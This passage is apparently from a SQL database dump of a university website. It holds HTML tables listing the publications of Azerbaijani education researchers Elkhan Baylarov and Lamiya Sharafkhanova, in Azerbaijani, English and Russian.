2011-ci il</p></td><td width=\"43\"><p>Səh.22-</p></td></tr></tbody></table>  <br></div>'),(903,596,'az','Elxan Bəylərov','Elxan Bəylərov','<div><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/files/N%C9%99%C5%9Frl%C9%99r_Elxan_B%C9%99yl%C9%99rov.doc\">Nəşrlər&nbsp;Elxan&nbsp;Bəylərov</a><br></div>'),(904,596,'en','Elkhan Baylarov','Elkhan Baylarov','<div><br></div><div><br></div><div><br></div><div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"800\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"214\"><p><strong>Title of publication</strong></p></td><td width=\"142\"><p><strong>Publications</strong></p><p><strong>Type/publication</strong></p><p><strong>activities</strong></p></td><td width=\"132\"><p><strong>All authors</strong></p></td><td width=\"236\"><p><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></p></td><td width=\"76\"><p><strong>Vol.</strong></p><p><strong>&amp; pages</strong></p></td></tr><tr><td width=\"214\"><p>Həndəsə. Abituriyentlərə kömək</p></td><td width=\"142\"><p>Dərs vəsaiti</p></td><td width=\"132\"><p>İ.R.Həsənov</p></td><td width=\"236\"><p>Bakı: Təhsil, 2000.</p></td><td width=\"76\"><p>132 səh.</p></td></tr><tr><td width=\"214\"><p>Həndəsə. Məsələlər həlli ilə</p></td><td width=\"142\"><p>Dərs vəsaiti</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Təhsil, 2002.</p></td><td width=\"76\"><p>200 səh.</p></td></tr><tr><td width=\"214\"><p>\"Riyaziyyat\"</p></td><td width=\"142\"><p>Metodik vəsait</p></td><td width=\"132\"><p>X.Y.Əlimərda­nova</p></td><td width=\"236\"><p>TQDK, 2002.</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p>\"1 sual 880 cavab və ya 1001 sirrin xəzinəsi\". İntellekt test toplusu</p></td><td width=\"142\"><p>Kitab</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Çaşıoğlu, 2002.</p></td><td width=\"76\"><p>208 səh.</p></td></tr><tr><td width=\"214\"><p>Riyaziyyat: Test tapşırıqları</p></td><td width=\"142\"><p>Kitab</p></td><td width=\"132\"><p>M.Yaqubov</p><p>N.Məmmədov</p><p>İ.Abdullayev və b.</p></td><td width=\"236\"><p>TQDK, 2003.</p></td><td width=\"76\"><p>304 səh.</p><p>&nbsp;</p></td></tr><tr><td width=\"214\"><p>Testologiya və müasir təhsil</p></td><td width=\"142\"><p>Monoqrafiya</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>Bakı: Adiloğlu, 2003.</p></td><td width=\"76\"><p>208 səh.</p></td></tr><tr><td width=\"214\"><p>Testologiya müasir elm sahəsi kimi</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>Təhsil Texnologiyaları Mərkəzi. ARTPİ, Elmi əsərlər jurnalı, 2004, №1.</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Müasir təhsilin aktual psixoloji problemi – intellekt testləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>ARTPİ, Bakı, «Təhsilin psixoloji problemləri» elmi-praktik konfransın materialları, 2005.</p></td><td width=\"76\"><p>3 səh.</p></td></tr><tr><td width=\"214\"><p>Ümumtəhsil məktəblərində şagird­lərin ümumi intellekt səviyyəsi və onun diaqnostikası</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>BDU. Psixologiya jurnalı. 2005, №1.</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>Şagirdlərin intellektual inkişafı ilə akademik uğurları və peşəyönümü arasındakı əlaqə.</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>ADPU, Pedaqoji Universitet Xəbərləri jurnalı, 2005, № 2.</p></td><td width=\"76\"><p>&nbsp;10 səh.</p></td></tr><tr><td width=\"214\"><p>İntellektin yaş-cins aspektində inkişafı</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>BSU. Humanitar elmlərin öyrənilməsinin aktual problemləri, 2005, № 2.</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Şagird intellektinin inkişafı</p></td><td width=\"142\"><p>Monoqrafiya</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>Bakı: Adiloğlu. 2006.</p></td><td width=\"76\"><p>192 səh.</p></td></tr><tr><td width=\"214\"><p>İntellekt və ona müxtəlif aspektlər­də münasibət</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><h1>&nbsp;</h1></td><td width=\"236\"><p>Azərbaycan məktəbi, 2007, № 2.</p><p>&nbsp;</p></td><td width=\"76\"><p>8 səh.</p></td></tr><tr><td width=\"214\"><p>İntellektual testlər probleminin tari­xi və müasir vəziyyəti</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><h1>&nbsp;</h1></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2007, № 1.</p><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>Təhsildə pedaqoji innovasiyaların səmərəliliyinin tədqiqi və tətbiqi imkanları</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>R.Qəndilov</p><p>Z.Zeynalov,</p><p>A.Əliyeva və b.</p></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2007, №4.</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Qiymətləndirmədə test texnologiya­larından səmərəli istifadə imkanları</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>A.O.Mehrabov</p></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2007, №4.</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>İntellektual qabiliyyətlərin diaqnostika problemləri</p></td><td width=\"142\"><p>Konfrans materialı</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Təhsilin aktual problemləri (ARTPİ kon­frans məruz-nin tezisləri). Mütərcim, 2007.</p></td><td width=\"76\"><p>8 səh.</p></td></tr><tr><td width=\"214\"><p>Riyaziyyat təlimi üzrə şagird nailiyyət­lərinin qiymətləndiril­məsində praktik fəaliyyətə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Kurikulum jurnalı, 2008, №2.</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadın ümumi şəxsiyyət və yaş xüsusiyyətləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2008, №3.</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p>Xüsusi istedada malik uşaqların inkişafının ümumi problemləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2008, №4.</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p><sub>İstedadlı uşaqların təliminin aktual problemləri</sub></p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>R.Qəndilov və b.</p></td><td width=\"236\"><p>Azərbaycan məktəbi, 2008, № 4.</p></td><td width=\"76\"><p>10 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların psixoloji təmi­natı (tərcümə, TN-nin sifarişi ilə)</p></td><td width=\"142\"><p>Kitab</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Aspoliqraf, 2008.</p></td><td width=\"76\"><p>268 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadin psixoloji diaqnostikası (TN-nin sifarişi ilə)</p></td><td width=\"142\"><p>Kitab</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Aspoliqraf, 2008.</p></td><td width=\"76\"><p>268 səh.</p></td></tr><tr><td width=\"214\"><p>Uşaqlarda istedadin müəyyən­ləş­diril­mə­si və inkişaf etdirlməsi. İstedain işçi konsepsiyası</p><p>(TN-nin sifarişi ilə)</p></td><td width=\"142\"><p>Monoqrafiya</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Təhsil, 2008.</p></td><td width=\"76\"><p>224 səh.</p></td></tr><tr><td width=\"214\"><p>İntellekt və məntiq testləri</p></td><td width=\"142\"><p>Kitab</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Bakı: Zərdabi LTD, 2009.</p></td><td width=\"76\"><p>288 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadın səciyyəvi xüsusiyyətlərinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>ARTPİ-nin Elmi əsərləri, 2009, №3-4.</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>Usefully application opportunity of the testing technology in assessment</p></td><td width=\"142\"><p>Konfrans materialı, məruzə</p></td><td width=\"132\"><p>A.O.Mehrabov&nbsp;</p></td><td width=\"236\"><p>Interdependence of National Assessment Systems and Education Standarts. Inter­na­tio­nal Association for Educational Asses­sment. 33<sup>rd&nbsp;</sup>Annual Conference, 16-21 Sep­tember 2007, Baku.</p></td><td width=\"76\"><p>13 səh.</p></td></tr><tr><td width=\"214\"><p>İstedad probleminə və istedadlı uşaqlarla iş təcrübəsinə dair</p></td><td width=\"142\"><p>Konfrans materialı</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>“Pedaqiji elmlər təhsilin xidmətində” adlı elmi konfransın materialları. ARTPİ, Bakı: Mütərcim, 2009</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>Проблемa детской одаренности</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Актуальные проблемы гуманитарных и естественных наук. 2009, №10, Москва.</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p>Проблема одаренности в процессе глобализации</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Экономика Социология и Право. Жур­нал научных публикаций. “Наука+”, 2009, №10. Москва.</p></td><td width=\"76\"><p>3 səh.</p></td></tr><tr><td width=\"214\"><p>Вопросы исследования творческой одаренности</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>Журнал научных пуб­ли­ка­ций аспи­ран­тов и докторантов. 2009, №9. Курск.</p></td><td width=\"76\"><p>3 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların təlimin məzmununa dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>11 səh.</p></td></tr><tr><td width=\"214\"><p>İstedad və onun növlərinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>9 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqlar üçün əlverişli olan təlim formaları</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqlar üçün differensiallaşmış təlim</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>Kreativlərlə intellektualların təlim problemlərinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların yaradıcılıq po­ten­sia­lı­nın inkişafının psixo-peda­qoji məsələləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqlarla işin təşkili istiqa­mə­tində tədqiqat nəticələrinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>7 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların yaradıcılıq potensia­lının tədqiqi</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>6 səh.</p></td></tr><tr><td width=\"214\"><p>Ümumtəhsil məktəblərində istedadlı uşaq probleminə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>Kреативы&nbsp; и&nbsp; интеллектуалы</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>3 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqlarla işin təkmilləşdiril­məsinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Yaradıcı təfəkkürün inkişaf xüsusiy­yət­lərinin tədqiqinə dair<strong>&nbsp;</strong></p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>Yaradıcılıq potensialının diaqnos­tikası</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadın formalaşmasında və ger­çəkləş­məsində mənəvi dəyərlər amili</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>9 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqlar problemi qlobal­laşma gerçəkliyində milli strateji problem kimi</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>İstedad və onun növlərinə dair</p></td><td width=\"142\"><p>Tezislər</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlıların təliminin forma və məzmununun psixo-pedaqoji aspekt­ləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>İstedad və onun inkişafının psixoloji məsələləri</p></td><td width=\"142\"><p>Monoqrafiya</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>248 səh.</p></td></tr><tr><td width=\"214\"><p>S.Seyidovun “Yaradıcılığın feno­me­no­lo­giyası” əsərində istedad və yara­dıcılığın qədim fəlsəfi kök­lərinə dair</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>9 səh.</p></td></tr><tr><td width=\"214\"><p>Məntiq</p></td><td width=\"142\"><p>Proqram</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>28 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların təlim problemləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlı uşaqların təlimində motivasiya problemləri</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>4 səh.</p></td></tr><tr><td width=\"214\"><p>Kurikulum islahatı şagirdlərin yaradıcılıq potensialının inkişafına imkan yaradır.</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Детская творческая одаренность</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>Вопросы одаренности в современном мире</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>3 səh.</p><p>&nbsp;</p></td></tr><tr><td width=\"214\"><p>Şagird nailiyyətlərinin qiymətləndirilməsində yeni yanaşmalara dair.</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>10 səh.</p></td></tr><tr><td width=\"214\"><p>İstedadlıların təliminin təşkilində İKT-dən istifadə.</p></td><td width=\"142\"><p>Tezislər</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>3 səh.</p></td></tr><tr><td width=\"214\"><p>Одаренность и школа</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>5 səh.</p></td></tr><tr><td width=\"214\"><p>About the Rezults of the Study of Educational Problems of Gifted Cildren.</p></td><td width=\"142\"><p>Tezislər</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>p. 522</p></td></tr><tr><td width=\"214\"><p>Investigation about Gift Types.</p></td><td width=\"142\"><p>Tezislər</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>p. 554</p></td></tr><tr><td width=\"214\"><p>Motivation Aspect of Modern Traning Process</p></td><td width=\"142\"><p>Tezislər</p></td><td width=\"132\"><p>B.H.Əliyev</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>p. 627</p></td></tr><tr><td width=\"214\"><p>Formativ qiymətləndirmə (“Kurikulum” elmi-metodiki jurnal)</p></td><td width=\"142\"><p>Məqalə</p></td><td width=\"132\"><p>&nbsp;</p></td><td width=\"236\"><p>&nbsp;</p></td><td width=\"76\"><p>10 səh.</p></td></tr></tbody></table>  <br></div>'),(905,597,'az',' Lamiyə Şərəfxanova',' Lamiyə Şərəfxanova','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Lamiyə Şərəfxanovanın elmi nəşrləri</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"690\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"156\"><p><strong>İşin adı&nbsp;</strong><strong><br></strong></p></td><td width=\"168\"><p><strong>İşin növü</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>Müəlliflər</strong><strong>&nbsp;</strong></p></td><td width=\"120\"><p><strong>Nəşriyyat,jurnal və s.adı</strong><strong>&nbsp;<br></strong></p><p><strong><br></strong></p></td><td width=\"90\"><p><strong>İli&nbsp;</strong><strong>&nbsp;<br></strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong><strong>Həcmi</strong></p></td></tr><tr><td width=\"156\"><p>Education of Children with Disabilities in Azerbaijan: Barriers and Opportunities</p></td><td width=\"168\"><p>Article, Journal/Human Rights Education in Asian Schools”,</p></td><td width=\"90\"><p>in co-authorship with<strong>&nbsp;</strong>Almaz Ismayilova, Yulia Karimova, Ulkar Isazade, Ramiz Behbudov</p></td><td width=\"120\"><p>Human Rights Information Center, Osaka, Japan,</p></td><td width=\"90\"><p>March, 2009</p></td><td width=\"66\"><p>Volume /Asia-Pacific</p><p>pp. 107-128</p></td></tr><tr><td width=\"156\"><p>“Məktəbəqədər yaşlı uşaqlar üçün oyun təlim vəsaitləri</p></td><td width=\"168\"><p>Metodik Vəsait</p></td><td width=\"90\"><p>Sveta Nazarova</p><p>Svetlana Mustafayeva</p></td><td width=\"120\"><p>Çaşıoğlu nəşriyyatı</p></td><td width=\"90\"><p>2009</p></td><td width=\"66\"><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>Xüsusi qayğıya ehtiyacı olan uşaqların təhsili<strong>&nbsp;</strong></p></td><td width=\"168\"><p>Məqalə</p></td><td width=\"90\"><p>L. İsmayılova, Y. Kərimova, U. Mikayilova ilə &nbsp;birlikdə)<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"120\"><p>Azərbaycan Respublikasının&nbsp; Təhsil Nazirliyi, “Kurikulum” elmi-metodik jurnal Baku, Azerbaijan</p></td><td width=\"90\"><p>Bakı, Kurrikulm., Azərbaycan, (iyul-sentyabr),&nbsp; 2009<strong>&nbsp;</strong></p></td><td width=\"66\"><p>№ 3 (7), s. 36-44</p></td></tr><tr><td width=\"156\"><p>“Step by Step Program in Azerbaijan: A 10 year journey from teaching practices at the classroom level to influencing national policy”,</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Seeds of Change: Effective Investments in Early Childhood for Enduring Social Progress</p></td><td width=\"90\"><p>Effective Investments in Early Childhood for Enduring Social Progress, ISSA’s 10<sup>th</sup>Annual Conference</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Changing Perception of a Child with Disabilities in general schools in Azerbaijan</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Embracing inclusive approaches for children and youth with special educational needs, Riga,</p></td><td width=\"90\"><p>July 11-14, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İbitidai İnklüziv Təhsil&nbsp;</p></td><td width=\"168\"><p>Peşəkarlar üçün metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p>&nbsp;</p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İnklüziv Təhsil&nbsp; (Məktəbəqədər Təhsil Pilləsi üçün)</p></td><td width=\"168\"><p>metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p><em>&nbsp;</em></p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2011</p></td><td width=\"66\"><p><em>&nbsp;</em></p></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>2.&nbsp;&nbsp; Dərc olunmamış&nbsp;<br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"660\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"252\"><p><strong>İşin Adı&nbsp;<br></strong></p></td><td width=\"108\"><p><strong>İşin növü<br></strong></p></td><td width=\"132\"><p><strong>Müəlliflər</strong></p></td><td width=\"60\"><p><strong>Həcmi&nbsp;<br></strong></p></td><td width=\"108\"><p><strong>elektron versiyası<br></strong></p><p><strong>Bəli/Xeyr</strong></p></td></tr><tr><td width=\"252\"><p>How to make successful accommodation and modification” guidebook for secondary teaches</p></td><td width=\"108\"><p>kitab</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova, Sə.</p></td><td width=\"60\"><p>95</p></td><td width=\"108\"><p>&nbsp;</p></td></tr><tr><td width=\"252\"><p>Reading Skills of Azerbaijani Students: Possible Reasons for Underperforming in PISA 2006</p></td><td width=\"108\"><p>məqalə</p></td><td width=\"132\"><p>U. Mikayılova</p></td><td width=\"60\"><p>50</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Opportunities and Barriers in Educating Children with Disabilities in Azerbaijan.&nbsp;&nbsp;</p><p>Evaluation of teaching practices in special and boarding schools, general education schools.</p><p>&nbsp;</p></td><td width=\"108\"><p>məqalə</p><p>UNCIEF</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova,etc</p></td><td width=\"60\"><p>30.</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Inclusive Education and Teacher Training Reform in Azerbaijan: Overview of Education of Children with Disabilities in Azerbaijan</p><p>&nbsp;</p></td><td width=\"108\"><p>məqalə</p></td><td width=\"132\"><p>Lani Florian and Ulviyya Mikayilova</p></td><td width=\"60\"><p>15 s.</p></td><td width=\"108\"><p>+</p></td></tr></tbody></table>  <br></div>'),(906,597,'en','Lamiya Sharafkhanova','Lamiya Sharafkhanova','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"690\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"156\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"120\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Education of Children with Disabilities in Azerbaijan: Barriers and Opportunities</p></td><td width=\"168\"><p>Article, Journal/Human Rights Education in Asian Schools”,</p></td><td width=\"90\"><p>in co-authorship with<strong>&nbsp;</strong>Almaz Ismayilova, Yulia Karimova, Ulkar Isazade, Ramiz Behbudov</p></td><td width=\"120\"><p>Human Rights Information Center, Osaka, Japan,</p></td><td width=\"90\"><p>March, 2009</p></td><td width=\"66\"><p>Volume /Asia-Pacific</p><p>pp. 107-128</p></td></tr><tr><td width=\"156\"><p>“Məktəbəqədər yaşlı uşaqlar üçün oyun təlim vəsaitləri</p></td><td width=\"168\"><p>Metodik Vəsait</p></td><td width=\"90\"><p>Sveta Nazarova</p><p>Svetlana Mustafayeva</p></td><td width=\"120\"><p>Çaşıoğlu nəşriyyatı</p></td><td width=\"90\"><p>2009</p></td><td width=\"66\"><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>Xüsusi qayğıya ehtiyacı olan uşaqların təhsili<strong>&nbsp;</strong></p></td><td width=\"168\"><p>Məqalə</p></td><td width=\"90\"><p>L. İsmayılova, Y. Kərimova, U. Mikayilova ilə &nbsp;birlikdə)<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"120\"><p>Azərbaycan Respublikasının&nbsp; Təhsil Nazirliyi, “Kurikulum” elmi-metodik jurnal Baku, Azerbaijan</p></td><td width=\"90\"><p>Bakı, Kurrikulm., Azərbaycan, (iyul-sentyabr),&nbsp; 2009<strong>&nbsp;</strong></p></td><td width=\"66\"><p>№ 3 (7), s. 36-44</p></td></tr><tr><td width=\"156\"><p>“Step by Step Program in Azerbaijan: A 10 year journey from teaching practices at the classroom level to influencing national policy”,</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Seeds of Change: Effective Investments in Early Childhood for Enduring Social Progress</p></td><td width=\"90\"><p>Effective Investments in Early Childhood for Enduring Social Progress, ISSA’s 10<sup>th</sup>Annual Conference</p></td><td 